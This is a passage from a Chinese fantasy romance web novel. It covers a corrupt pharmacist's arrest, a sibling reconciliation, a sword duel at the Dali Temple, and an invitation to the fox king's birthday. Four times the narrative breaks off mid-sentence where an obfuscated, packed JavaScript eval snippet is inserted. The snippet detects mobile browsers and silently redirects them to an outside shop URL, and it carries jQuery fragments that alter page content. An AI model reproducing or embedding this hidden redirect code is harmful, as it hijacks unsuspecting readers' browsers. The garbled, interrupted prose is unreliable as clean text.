“快些呈上来。” 元和景生怕自己错过最精彩的部分,连忙跟着从桌底下钻出去,站定时正好看见江乾惨白的脸。 “怎么会,怎么会在桌子底下!” 另一位老者则冷静许多,道:“如此,江老爷可对结果还有异议?” “不……不是。”江乾连忙抓起托盘里的筹码,想要亲自数上一遍,可他手抖得厉害,筹码纷纷从指缝间滚落,“叮”地一声砸在地上,像惊堂木落,将某种已成定局的判决敲定。 “你们不是搜过桌底吗?这么多筹码没看见,我养你们是干什么吃的!” 药行的人已经离开,江乾只能将怒火尽数发在下人身上,有几个哆嗦着解释“刚才明明找过的”,可江乾哪里听得进这些,一脚将他们踹翻在地。 元和景看着这张扭曲的脸,怒瞪的双眼里布满血丝,狰狞的褶皱蜿蜒着、交缠着,最后逐渐凝结成了一张写满利益和贪婪的面具。 “老爷,老爷饶命啊老爷……” 下人们不敢反抗,摔倒后又连忙跪成一排,江乾还要继续发作,却被身后冷不丁传来的声音制止—— “先别急着发火……” 祝长生官袍加身,气宇轩昂,身后跟着江印月和元纪辛等人,江乾见此情景后像是突然想到了什么,脸色愈发苍白了起来。 “如今拍卖已结束,福生堂的暂时经营权归回春坊所有,按理说药行应将福生堂的官帖交出,但本官收到检举,说你上交于药行的官帖为仿冒品,江乾,你可承认?” 祝长生语气正式,话音不重却自带威严,最后一句话刚出口,江乾便“扑通”一下跪在了地上,哀嚎道:“少卿大人,福生堂乃是京城最大的药店,就这么把它交到一个黄毛丫头手里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089598|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福生堂迟早要倒闭的啊!” “福生堂交给谁也比交给你好!” 江印月按捺不住,出声喝道:“父亲虽主管京城总部,但其他分部的事务也会亲自督察。自你经营亳州分部以来便大小问题不断,如此父亲都睁一只眼闭一只眼替你摆平,可你竟敢偷偷用劣等原料以次充好,甚至刻意降低药材用量吸引客人多次购买……” “这么做,你可对得起自己身为医者的良心?对得起江家的祖训?” 江乾如遭重击般歪倒在地,眼中最后一丝光芒也熄灭了,他像是燃烧殆尽的残烛,浑身散发着了无生气的破败和孤寂。 医者难为商,商者难为医,当初为何走上从医之路,他好像早已忘了。 吐息可闻的静默中,只有嘶哑而沧桑的哭嚎声低低地传来。 祝长生面色沉静,号令道:“伪造官帖欺瞒药行乃是重罪,且违法经营一事还需进一步调查,来人啊,把江乾押入县衙大牢,听候发落。” 话音刚落,立马几个士兵上前,将江乾架起来拖走,而后者自始至终没有反抗,也没有任何动作。 祸患已除,福生堂也可物归原主,本该是皆大欢喜的时候,元和景却怎么也高兴不起来。 因为她还记得在拍卖会终局已定时,江乾放出的那句狠话。 或许只是气急下的无心之言,但行事谨慎如江乾,他会不给自己留一条保命的后路么? “想什么呢?走了。” 声音就在很近的地方,元和景回过神来抬头看,才发现祝长生不知何时已经蹲在了自己面前,笑意浅浅,眉眼春风,递出的那只手指尖莹白如月,正正停在这具小狐狸身体的脚下。 紧绷许久的心倏尔松懈下来,像是旅途近归期,长夜将明时,如今正事暂且告一段落,多想无益,不如早些和心心念念之人一同回家。 元和景于是也笑着迈进了那只手掌,任凭自己被稳当地托起,而后护进怀里。 江乾归案,他的诡计也不攻自破。济世堂老板受其所邀共谋福生堂经营权,若是拍卖成功,伪造的官帖自会回到手中,所以他们才会在此疏于算计,而这,也正好成了给江乾定罪的最合适理由。 江印月很快回到了江府,她的母亲也被安然无恙救出,只可惜其父已丧命于山匪,今后无论是江府还是福生堂,都要靠她一个人撑起一片天了。 福生堂重新开业的那几天,元和景也前去帮忙。 她不懂经营和药材,便给店里的伙计都带了糕点茶水,进门时江印月正在柜台后算账,身上穿着方便干活的浅色束袖衣衫,发丝用一根簪子简单挽起,虽不比从前矜贵端庄,却是奔走忙碌时极为方便的打扮。 方便的同时也更添几分朴素干练,衬得少女眼底的光越发稳重坚毅,恍惚间再看不见当初那个娇生惯养的天真小姐。 这样的变化令人很是惊奇,也很是欣喜。 元和景命下人将东西都分下去,待周围无人后才背着手慢悠悠地踱进大门,语气揶揄:“好久不见啊,江老板。” 44. 动心起念 还未抬头看,江印月脸上已浮现一抹笑意,嗔道:“你就非要打趣我。” “才不是打趣。”元和景乐呵呵地凑近,斜斜地往柜台边上一靠,“我这声‘江老板’可是真心实意的,不到半个月就能让福生堂顺利复业,上上下下皆是井井有条,除了你,谁还担得上这个名号啊?” 离得近了,她也能将少女眼底的乌青看得分明,浅薄的一层脂粉下隐约有疲惫之色透出。虽然说上去只是一句话的事,可真真切切地做起来时,江印月定是倾注了不少心血和精力的。 “这又不都是我一个人做的,还得多亏了大家的帮忙。”江印月嘴上谦虚着,但心里显然很受用元和景这份称赞,眉眼都弯成了好看的弧度,不过在说这话时,神色中的认真也分毫未少。 她没想过独揽功劳,自然也不会居功自傲。 忽而有灵光闪过,元和景一拍脑袋,心道差点忘了这回事,从袖口里把东西掏出来后递给对方,道:“这下你敢看这支签的结果了吧。” 没错,这正是当初在长史府里,江印月用她给的签筒摇出来的那支。即便过了这么久,元和景依然惦记着要让江印月亲自看到结果。 可对方只是慢悠悠地抬头睨了一眼,接着又像没事人似的继续垂眸拨弄算盘了。 元和景见势不对,着急道:“怎么又不看?现在江乾都被送进大牢了,看一眼又不会怎么样,你看看嘛……” 江印月终究还是没忍住笑出声来,惹得元和景更不明所以,她不紧不慢地将账本合上,说:“用不着看,你这支签的结果,我摇到时便已知晓了。” “怎么会?”元和景愤然反驳,“你又没看到签号和签文,莫非你跟着大师学卜筮,还练出透视眼了不成?” 江印月双手一抱,狡黠又得意地看着她气急的样子,等欣赏够了才大发慈悲开口:“我是没练出透视眼,可我也没见过哪个签筒里全都是上上签,你说,我还能抽到什么?” 元和景毫无被戳穿的心虚,理直气壮反问:“你怎么知道都是上上签?” 店外有客人忽然而至,几个伙计连忙从里间出来迎接招待,江印月看过一眼后便收回视线,继续心平气和地解释—— “其实不瞒你说,如今市面上的签筒,并不是每根签子都一样重。大家摇签本就只是求个安心,所以无需太过较真。如此,制签的人就会将上上签做得稍微轻巧些,好让它们更快掉出来。” 像是想到什么,她莞尔一笑:“当初我送你的那个签筒里也有这等玄机,其实我原以为你迟早会发现的,不过现在告诉你也无妨,毕竟你早已不常用了。” “原来如此。”元和景恍然大悟地点点头,随后又怅然地单手撑脸,喃喃道,“所以每次摇到上上签不是因为我运气好,而是它们比其他签更轻。” 江印月像是知道她心中所想,再说话时语气里带着安慰,也有些许看透的豁达怅然,说:“运气如何现在已经不重要了,反正日后的路要怎么走,你应该也无需再摇签决定了吧。” 这话倒不错,毕竟就算摇出上上签,也未必是自己想要的,问天问地,不如问己问心。 元和景心中已是一片明镜,便也不再纠结什么签号签文,无意地一个转眼,却见元纪辛从福生堂的里间走了出来。 “东边那几味喜阴凉的药材已经收好,库里需要晾晒的也都搭在了阳光最好的那几处架……” 对视的那刻,话音戛然而止,显然这两兄妹都没想到会在这里遇见对方。 夏已入深,干活的人没过多久就要出一身汗,因而元纪辛此时只着中衣,外衣则是脱下来随意搭在腰间,两只袖子跟腰带似的捆成结,活脱脱像个刚从地里回来的年轻农人。 再配上他黝黑的皮肤,结实的臂膀……感觉更像了。 但话又说回来,这身打扮可一点不像她那位威风凛凛杀伐果断,身为一朝之长史的兄长啊! 元和景甚至揉了揉眼,生怕是自己看错了。 “元大哥辛苦了,快坐下歇歇,我去给你倒水。” 江印月的话将她唤回现实,而等元和景终于反应过来后,刚才还站在身旁的人不知何时已进了里间,最后几个客人也被伙计送走,偌大的铺面内一时只剩下他们两兄妹。 元和景并没有主动说话的打算,虽然气已经消了,但面子上总归过不去。再者说他俩从小到大也冷战过好几回,如今倒也不差这一次。 这么想着,她垂眸看着江印月还未收起的算盘,指尖懒懒地将算珠拨弄来又拨弄去。 算珠小巧,磕出的响声也干净清脆,而与之相比下,男人突然的话音则显得低沉喑哑许多—— “小景。” 元和景听见元纪辛这么叫自己。 她心头微震,却是没想到对方会搭腔,闷头把那颗无辜的算珠又拨了好几个来回后,才从喉头发出一声低低的“嗯”。 “这个……送给你。” 声音不知何时出现在了离自己很近的地方,与此同时,一个花纹精致的长条小盒子被缓缓推到了元和景视线之内。 玩算珠的指尖陡然停了,搭在桌上动也不是不动也不是,最后只能蜷进手心,缩成并不安宁的一团。 她瞥了一眼那盒子,并没有拿,问:“这是什么?” “这是在珍宝轩订的簪子,材质和样式都是你最喜欢的。”男人出乎意料得老实,回答一板一眼,末了还犹嫌不够地补充,“是阿月亲自挑下的,选了好几天。” 元和景再也压不住心头泛起的波澜,将那盒子又看过好几眼后,终于是伸手接了过来。 见到此景,身旁那人似乎重重地松下了一口气,又道:“前些时候连天阴雨,再加上事务繁忙,我没能亲自拜访少卿府,但给祝少卿通过信件,他说你一切都好,我才安心下来做事。” 当初长史府多次派人送信来的事元和景也知道,所以并未觉得奇怪,她只当是两人有公事要商量,于是避而不看。可平心而论,她何尝不希望信里不止是公事。 现在多少有些心愿成真的意味,但自尊心更占上风,她不想自己做先松口的那个,就还是低着头一言不发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098338|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我明白……自己并非一位合格的兄长。”元纪辛咬字略有些重,看得出也是下定了决心才说出这些话,“无论是长史府那次,还是之前的许多次,我都不该不分青红皂白地斥责你。” “我该明白的,你长大了,有自己的想法,也有自己的智慧。” 不知何时,嘴唇已经被咬出了深深的痕迹,元和景皱着眉,却并不是因为生气,内心深处泛起的酸楚无不在诉说着——她等这些话已经等太久了。 哪怕是失望过无数次,哪怕是从未听他说过,她依然相信对方这些话是发自肺腑。 唯有将拳头握紧,指尖的颤意才能得以隐瞒,可元和景任由它们暴露在天光,前去将那小巧的盒子打开。 通身青玉,盛放的六月菡萏正缀于尾端,流苏衔着待放的花苞,像是要把一整个亭亭葳蕤的夏,都凝结在这支清透明媚的簪子之上。 很好看,也很喜欢……元和景在心里这样想,嘴上便也难得诚实地袒露了出来。 她脸皮薄,有些话不想说得太直白,但身为相伴二十余年的兄长,元纪辛不会不懂她的意思。 男人总算舒心地笑起来,连声说了好几个“喜欢就好”。 “两位久等,且来尝尝我刚泡好的西湖龙井。” 江印月俏皮地说着,手里提着茶壶翩翩而至。元和景飞快将盒子收好,心里没好气地想谁泡茶要泡那么久?况且脸上还笑那么灿烂,生怕人不知道这件事也有她的功劳。 茶水清亮,入口舒爽,半盏过后,元纪辛起身道:“我这几日要出趟远门,如今江乾残部还未露面,你们在京城要多加小心,切莫靠近异常之人。” 江印月好奇地问:“元大哥为何突然离开,可是圣上有命?” 还不等元纪辛解释,元和景一脸讳莫如深地道:“非也非也。” 难怪早上用膳时,祝长生冷不丁来一句“长史大人不日便要外出剿匪,归期不定”,当时她还不明所以,现在却是一切尽在不言中了。 “京城到江陵途径兔儿山,那山上匪盗猖獗,引得过路人叫苦连连,想必兄长此行是去处理这件事的。” 话刚出口,元和景便很是得意地看着眼前两人悄然红了脸。 虽然不愿提起,但江印月的父亲,当初便是死在了兔儿山山匪手上。 斯人已逝,唯有将祸患根绝,才能将恩怨平复,也能为后来人谋一条来去自如的平安大道。 元和景对自家兄长的实力毫无担忧,于是便没什么好惜别的,她想着自己接下来呆在这里可能有些碍眼,就随意扯个借口忙不迭溜了。 福生堂外阳光正好,街上人来人往,元和景本欲整理下情绪再走,这一看却又让她找到好几个熟面孔。 长史府里能被称作元纪辛亲信的人并不多,如今却都在这福生堂周围了。 他们扮成普通百姓的模样混在人群里,不细看还发现不了。元和景并不多说,只是了然一笑,然后便抬脚往马车那边走。 天色还早,她也要去找那位让自己动心起念的人。 45. 剑不脱手 马车停在大理寺门口时已过正午,元和景本打算直接去找祝长生,却没想到扑了个空,贺均说他今日已进宫述职,回来也得是晚上了。 心头有万千情意却不得抒发,元和景干脆随贺均去了练武场,果然周子萧和石岩都在那里。 她还记得当初去长史府时托大家帮的忙,于是边走近边道:“正好明日休沐,咱们约个时间一道去醉仙居吧,说好了我请客,大家痛快吃喝就是。” “好说好说。”周子萧从木梯上直起身子,利落地朝她一颔首,语气轻快,“正好我也有许久没啃猪肘子了,明天就点上五个。” 元和景斜睨了他一眼,本想表示谴责,可对视上的时候还是没忍住破功笑了出来,她轻哼一声,勉强维持着嫌弃的表情,道:“点呗,吃不完你可别想走。” 一旁的石岩将手里的活计放下,满脸殷切地道:“时间上我都行,但我有个不情之请……” 元和景摆摆手,说:“我们这么好的关系了,哪还用说这么客套,你想要什么说就是。” 石岩不好意思地挠挠头,眼底却浮现一抹温柔,道:“明天吃剩下的菜,能不能让我打包回去带给石头它们?” 石头还有一众流浪猫狗,都称得上是石岩的家人们,自从祝长生没反对他将这些动物带来大理寺后,他几乎都要开上收容所了。 “这有什么难的?”元和景说着,忽然计上心头,又补充道,“不过你可要跟周子萧说好,让他别把石头的饭也吃了,否则啊我也没办法。” 她作出爱莫能助的表情,却引得众人忍不住展颜,因为即便说得如此委婉,她把周子萧和狗作比较的意思却已经再明显不过了。 周子萧也笑了,不过是被气笑的,他没好气地把剑朝着元和景的面门一丢,看对方手忙脚乱地接住后,才稍稍正色道:“今日无事,不妨来和你半个师父切磋一把,让我看看你武功练到了什么水平。” “我的武功明明都是祝长生教的,你就知道占便宜。” 元和景一边嘟哝着,一边将长剑拔出鞘。前几日虽然因为江印月的事没怎么练习,但剑谱秘籍她也看了不少,再加上已经学过这么久,她也很好奇自己如今是个什么水平。 总之是跟周子萧打,赢了当然光荣,输了也不丢人,何乐而不为呢? “正好,贺均和岩哥做个见证,谁的剑先脱手谁就算输,别的不说,输家喊赢家一个月的大哥,如何?” 被点到的两人面面相觑,神色迟疑,显然不知道该不该应下。倒是元和景迅速摆好姿势,道了句“你先赢过我再说”后,就提着剑直直朝周子萧胸口刺去。 男人勾唇一笑,玩笑的神色中悄然出现几分认真,一个抬手利落挡下后,立马变换方向发起攻势,将被动化为主动。 剑风凌厉,擦着飞旋的衣摆险险而过,元和景并未接这一剑,而是避其锋芒寻找其他突破点。周子萧无论是速度还是力道都远在她之上,若非要硬碰硬的话,元和景绝对不是其对手。 几招下来,两人方才的舒然笑意都已荡然无存,眉眼间满是迎敌时的谨慎戒备。元和景不必多说,面对比自己强大许多倍的对手,必须要拿出十成十的力量。而对于周子萧来说,元和景能有这么大的进步,已经远远超出了他的预料。 长剑自空中相接,铮然一声脆响划破天际,元和景被生生震退两步,周子萧正准备乘胜追击,却惊觉森寒的剑锋离足尖不过毫厘,只好快步退开,可双臂抵挡不及,扬起的尘土碎叶扑了他满脸。 趁着这点空当,元和景也已稳住身形,但容不得有更多反应,鬼魅般的长剑又将要逼至身前。 要躲开已是不可能,她只好抬手挡下,而周子萧显然不打算就此收势,调转剑锋又朝另一侧劈下。这次他攻势更猛,速度也更快,可即便如此,他看上去还是一副游刃有余的模样,反观元和景,只能狼狈抵挡节节败退。 看来周子萧早已发现了她的意图,元和景要避其锋芒徐徐图之,他则要步步紧逼一招制敌,毕竟在绝对力量的正面比拼下,两人之间的差距并不算小。 元和景显然也已察觉到这一点,本想在攻势中寻找机会反客为主,可迅捷如风的剑意像是编成了一张密密麻麻的网,让她丝毫找不出破绽来。 身后便是几个练功桩,若再退下去,她就必败无疑了。 元和景抵挡得渐渐吃力起来,汗水不知何时已浸透了里衣,眼见败局将定,她干脆以守为攻,用尽全身力量挥剑而去,如果能争得周子萧半分退意,便还有转圜的余地。 可男人毕竟多年习武,又身经百战,被挡下后立马转势刺去,剑尖直逼元和景喉管,可她却被刚才那一招震得手臂发麻,再也握不住剑柄。 理智驱使她连忙后退躲开这致命一剑,脚下却止不住地踉跄,将要摔个仰天翻时,后背陡然撞上一具单薄却温热的身躯。 与此同时,她的手也被包裹着重重一握,将即将掉落的剑又重新捏了回去。 周子萧的攻势突然停滞了半刻,似乎也未预料到这般发展。而趁此机会,身后那人借着元和景的手径直提剑砍去,将原本来势汹汹的剑锋轻易打退。 这一切的发生不过须臾,等元和景终于反应过来时,她的剑已被另一人接手,并带着势不可挡的凶狠之意朝周子萧攻去。 而执剑者只着一身朴素的墨色衣袍,长发高高束起,背影纤瘦却结实,一如初见。 “十一!” 元和景下意识惊叫道。 虽然此景太过出乎意料,但周子萧还是很快反应了过来,迅速调整身位接下一剑,力道之大震得剑身止不住嗡鸣。 乒乒乓乓的打斗声充斥在这一方练武场,十一的攻势如雨点般落下,竟连周子萧都找不到反击的机会。 石岩忘了手上的活计,贺均也眼睛一眨不眨地盯着他们。刀光剑影,风声如怒,众目睽睽下,两道身影对峙、交手,又错过,两柄长剑在空中接近、碰撞,又追逐。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102257|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 元和景看不清两人的动作,只能感觉到周子萧的招式渐渐力不从心起来。终是在一声鹤唳般的嗡鸣后,有一柄剑被挑飞于半空,落地时正好插进松软的草地里。 十一面色淡然,手上挽花后将剑收于背后,周子萧则是捏着手腕,神色间不掩狼狈,愤然道:“说好了两个人公平切磋,你怎么叫外援?” 元和景摊了摊手掌,满脸无辜地说:“谁说只有我们两个人打了?规则是谁的剑先脱手就算谁输,但你又没说是脱谁的手。” 说着,她不免露出几分骄傲和得意:“反正十一可没把我的剑脱手,你输了,就从明天开始叫我大哥吧。” “你……”周子萧就这么被摆了一道,气得用手指点了元和景半天,“你还真是好样的。” 在两人斗嘴的时候,贺均已经走到了十一跟前,满脸钦佩地抱拳道:“姑娘年纪轻轻便有如此身手,实在了得,不知姑娘怎样称呼?” 难得见贺均有如此激动的时候,但十一只是朝他略微颔首,说名字的同时信手将剑丢回给元和景,然后又看向周子萧。 “方才的招式倒让我想起一位故人,不知周司直师从何门?” 她目光灼灼地盯着周子萧,静若深潭的眼底里竟流露出几分探寻。元和景不明所以地在两人之间看了好几个来回,总觉得气氛莫名凝重了些。 周子萧眸光微闪,随即慢悠悠迈步,将那把被打飞的剑拔出来后,才漫不经心地开口:“幼时家中曾请过习武师父,不过教的和市面上那些武功都差不多,谁知道是出自哪门哪派。” 他带着平常惯有的拖沓语调,好像在说一件不怎么重要的小事,可元和景发现,他并没有看在场任何一人的眼睛。 “原来如此。”十一坦然点头称是,接着又调转话头,颇有些耐人寻味地道,“不过这清霜剑法,可不是什么人都能学会的。我依稀记得,我那位友人游历江湖后便入了皇宫,成了教习贵胄子弟武功的太师。” 她说得不急不慢,神情也平静非常,话里并没有揭示真相的咄咄逼人,却在其他几人心里掀起轩然大波。 当初的元和景也不是没好奇过周子萧的来历,可问祝长生时,他只说第一次见面是在一个地下武斗场里,当时周子萧连胜三局,上来就拦着他问能不能给个谋生的活计,只要不杀人放火,干什么都行。 从那时到现在,周子萧在大理寺已待了七年有余,可在那之前呢? “别一脸见鬼地看着我啊!”周子萧伸出手在她眼前晃了晃,语气轻佻,“看吧,我都说了我是皇子,你还不信。” 元和景扯了扯嘴角,毫不客气地翻起白眼,道:“你要是皇子,我就是天子。” 平日里开玩笑时,周子萧总说他出身不凡乃是天龙之子,现在巴结他以后有好日子过,可大家从没信过,因为他看起来从头到脚都和皇子扯不上关系。 话至此,十一也没再多说,只是每次看向周子萧的眼神里多了几分深意。 46. 狐王寿辰 不知是谁先扯开了话题,之后再也无人深究这件事。元和景见石岩手里捏着两根红线,一圈一圈缠得整齐又好看,她好奇地凑上去问:“岩哥,你这是在做什么?” 石岩朝她嘿嘿一笑,看着手里物什的眼神温和又柔软,道:“我打算给石头做个小铃铛挂在脖子上,这样它出去玩的时候,别人就知道它是有家的狗。而且走路的时候发出叮铃铃的响声,也好提醒它玩够了别忘记回家,家里还有人在等。” 之前和那些官家夫人打交道时,元和景也曾见过她们给爱宠戴平安锁,小巧的一个煞是可爱。而石岩如今做的这个,除了美观外还有提醒之效,简直再适合石头不过了。 她歪了歪头,突然想到某个专门找也找不到的狐狸,内心失落的同时还浮现几分愤然,于是她又问:“那你说,狐狸适合这个吗?” 石岩停下动作,认真地思考了一下才答:“如果是家养的狐狸,应该也是适合的,毕竟狐狸和狗应该差不多。” 元和景赞同地点点头,还没来得及进一步构想,却瞧见云青抱着几本书册朝这边来了。 自杜少桓那件事过去后,她们的生活又都恢复了平常,云青依然独来独往,整日忙于公务,元和景也鲜少见她,更没想过要用什么姿态面对。 毕竟只是旁观者,干涉不了他人的因果,可她也并非铁石心肠,做不到对杜少桓所经历之事完全无动于衷。 见到来人,大家都不约而同静默了一瞬,而云青对此并不关心,互相问候过后,她对元和景道:“少卿大人叫你此时过去。” 元和景连忙站起身,惊呼道:“祝长生回来了?” 云青不言,只是朝她略一颔首,接着便自顾自离开,从身影消失的方向来看,或许是要出门办事。 元和景这下又来劲了,简单同大家告了别,约好明日吃饭的时间后就朝着祝长生的书房奔去。可行至半路时,树丛里忽然传来几声尖细柔弱的哼唧声,乍一听还有点像小姑娘的低泣。 她扒开树丛一看,发现竟是石头这只大白狗正在用爪子来回拨弄着什么,而声音也就是从那之中发出来的。 也许是察觉到元和景的靠近,那东西露出了脑袋,还有一双黑葡萄似的大眼睛,水盈盈地朝她眨巴着,嘴里的哼叫也越发悲戚,好像真被欺负得狠了。 反观石头,还在兴奋地吐着舌头哈气,看上去还沉浸在这场单方面的娱乐中无法自拔。 “走!谁让你欺负它的……走开!” 元和景连忙厉声对石头斥道。 石头被这严厉的语气吓得一哆嗦,先朝元和景投去委屈的眼神,见她脸上的生气不似作伪后,只能把刚得来的“玩具”松开,用爪子轻轻地往她跟前推了两下。 如此,元和景总算看清楚,那是一只小狐狸。 个头和小狗崽差不多,毛色浅灰且十分均匀,两只耳朵毛茸茸地立着,见她伸过手来,还亲昵地主动凑上去舔了舔。 元和景只觉得整颗心都要化了,抚摸的动作越发轻柔,嗓子也不自觉夹了起来,细声细气地道:“小狐狸,你从哪里来的啊?” 旁边的石头目睹完全程,垂着头怏怏不乐地离开了这是非之地。元和景浑然未觉,满心满眼都是那只软糯可爱的狐狸,眼见这小东西踢踏着四条腿小跑去了不远处的野花丛,她也连忙抬脚跟上去。 小狐狸歪着头将那满丛的绯色野花打量了半晌,似乎精挑细选着最漂亮的那朵,元和景刚要出声询问,就看它伸长脖子,将其中一朵用嘴咬了下来。 很快,它又哒哒哒地跑回来,将嘴里衔的花直往元和景的手里塞。 长这么大还是头一回被动物送花,元和景又是惊讶又是高兴,忙不迭将花接过。可一句“多谢”还没说出口,面前的狐狸转眼便消失不见了。 “诶?” 元和景迷茫地左右看看,竟然再也没发现那个灰扑扑的小身影。 她疑心是自己出了幻觉,可手里的红花还盛开正艳,无声地提醒着方才一切并非虚构。 思绪凝滞间,余光突然瞥见一丝不寻常的光芒,元和景低头看去,只见那朵花竟在以肉眼可见的速度缩小,最后凝成了虎口处一个极小的狐狸头。 边缘由浅浅的金色勾勒而成,像是某种特殊的符号,用手搓用水洗都无法消除,看来只能找祝长生问问看这是什么了。 照例是不管不顾地闯进去,但祝长生对此已经驾轻就熟,门被“砰”一声推开时也能做到面色不改毫无波澜。元和景一股脑将事情原委说来,他轻飘飘地睨了眼那狐狸头,从容地道:“看来你也已经收到邀请了。” 元和景:“什么邀请?” 祝长生道:“半月后,狐王寿辰,所有狐族子民皆要回骊山参拜。” 元和景更疑惑了:“可我又不是狐族的人,怎么会收到狐王的邀请?” “谁说你不是。”祝长生放下手中朱笔,朝她投去不满的一眼,“你虽无狐族血脉,但身为狐王后代之妻,早已被写入骊山一脉族谱。” 元和景面上表情几经变换,目瞪口呆得险些把下巴甩出去,道:“你……你竟然还是狐王的儿子!” 祝长生被她这副没见过世面的样子弄得有些好笑,但碍于官袍在身不好损了仪礼,只能勾了勾唇,说:“这有何可惊讶?我跟寻常狐族也没什么分别,就是力量更强、寿命也更长些罢了。” 元和景显然没注意他话里的深意,有些苦恼地皱起眉头,道:“可我就是个普通人族啊,去你们狐狸窝还不得被撕碎?再说了我嫁的是祝长生又不是胡拾,就不能钻个空子吗?” 在听到后半句时,祝长生的神色悄然暗了一瞬,但很快,他又恢复如常,淡声开口:“其实不去也可以,毕竟狐族子民众多,狐王就算力量再强,也没办法把每个族人都顾及到……” 元和景马上双眼发亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106906|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但在听到接下来的“但是”后,喜色又凝滞在了脸上。 “但是,这个印记会带着狐王的惩罚伴随终身,虽然不会伤及性命,但会霉运不断,小到吃饭卡鱼刺出门被打劫,大到……” “等等等等!”元和景急得就差去捂他嘴了,“我去!我去还不行吗?” 祝长生莞尔,很听话地止住了话头,安抚似的道:“放心,只用去走个过场便是,无需有何表现,且此去骊山,我送你一份大礼可好?” “真的?”元和景斜着眼看他,满脸写着不信。 祝长生坦然面对着她的打量,道:“当然是真的。” “那你说说是什么大礼?” “这不能说。” “你说!” “不说……” 这之后,祝长生将大理寺要紧的事都处理妥当,并借口因私外出,嘱咐好其他几人暂行管理之务,元和景则是同家里打了招呼,两人于十日后出发。 此行的马车不比寻常,出城后便如劲风般疾驰了起来,速度之快连外面的景色都要看不清,可即便如此,车内的人却丝毫感受不到颠簸,身下平稳得如同坐在家中。 祝长生说,外面赶车的那位乃是隐居于普通人之中的狐族,马车被他施了某种提速的术法,且寻常百姓并不会察觉,因此他们不出一日便能抵达骊山。 元和景摇了摇头,啧啧叹道:“狐族竟然有这种好东西,要是能给每个人的马车都用上术法,大家也就不用出个远门要花十天半月了。” 祝长生却不为所动,只淡淡道:“话虽如此,但终究只是嘴上说说罢了。人族和狐族早在百年前决裂,如今能相安无事已是难得。就算偶有来往也不过少数,毕竟许多狐族现在依然对人族抱有敌意。” 元和景倒是从未听过这等往事,好奇问道:“怎么会这样?” “这发生在狐族刚刚形成之时,具体缘由我也无从知晓,不过为保万无一失,我且为你乔装打扮一番。” 说完,祝长生手上掐了个诀,而与此同时,元和景发现自己的身体出现了一些变化—— 头顶有什么东西在不受控制地动来动去,她伸手一抓,竟然抓到两只触感柔软的尖尖耳朵,再动动身子,后面有一条毛绒绒的浅色大尾巴晃到了面前。 元和景不可思议地道:“这些……都是我的?我变成狐狸了?” 祝长生惯爱看她这副可爱的模样,不由得失笑,道:“只是简单的术法,用来骗过大部分狐族不成问题,你若是喜欢,日后没人时也能变给你玩。” 元和景又将尾巴捏在手里翻来覆去地把玩,怎么看怎么觉得逼真。祝长生也将自己的一条尾巴召了出来,慢慢地游至她身前,将她的尾巴尖勾住。 两相对比之下,元和景也能发现些蹊跷,就从形态和颜色来说,还是祝长生的更加真实,而这条变出来的则像是蒙了层薄雾,叫人有些看不真切。 47. 情到浓时 一深一浅的两条尾巴紧紧地勾连、缠绕,好似相生相伴,也好似合二为一。 即便这并非是自己的尾巴,元和景竟也在尾椎骨处感到几分酥麻,像是藏了条不安分的小虫子,一路爬到心口,叫她面上忍不住生出几分燥意来。 正失神时,腰间忽地一紧,她垂头看去,只见一个小巧精致的荷包被挂在了腰带上。而做出这一切的祝长生徐徐收回手,道:“此物能掩盖人族气味,毕竟这次前往骊山的狐族众多,还是多些保障为好。” 祝长生这么说着,尾巴却没有要收回的意思,元和景有些羞赧,便有意转移了话题,她拿起荷包左右翻看,说:“小小的一个荷包竟这么厉害,那人族想混入你们狐族,岂不是很容易?” “不会。”祝长生将她拿荷包的那只手随意一拢,顺势搭在她腿上,娓娓道,“这本是某些和狐族做生意的人研发而成,虽然好用,但时效极短。若想要效果持久,还需用其他方法。” 元和景下意识问:“什么方法?” 她对于潜入狐族这件事倒没太大兴趣,眼下不过顺着话题随口一问。可祝长生却动作一顿,思索片刻后,他再度看向元和景,眸色是少见的幽深,像深不见底的漩涡,不管不顾地要将她吸入其中。 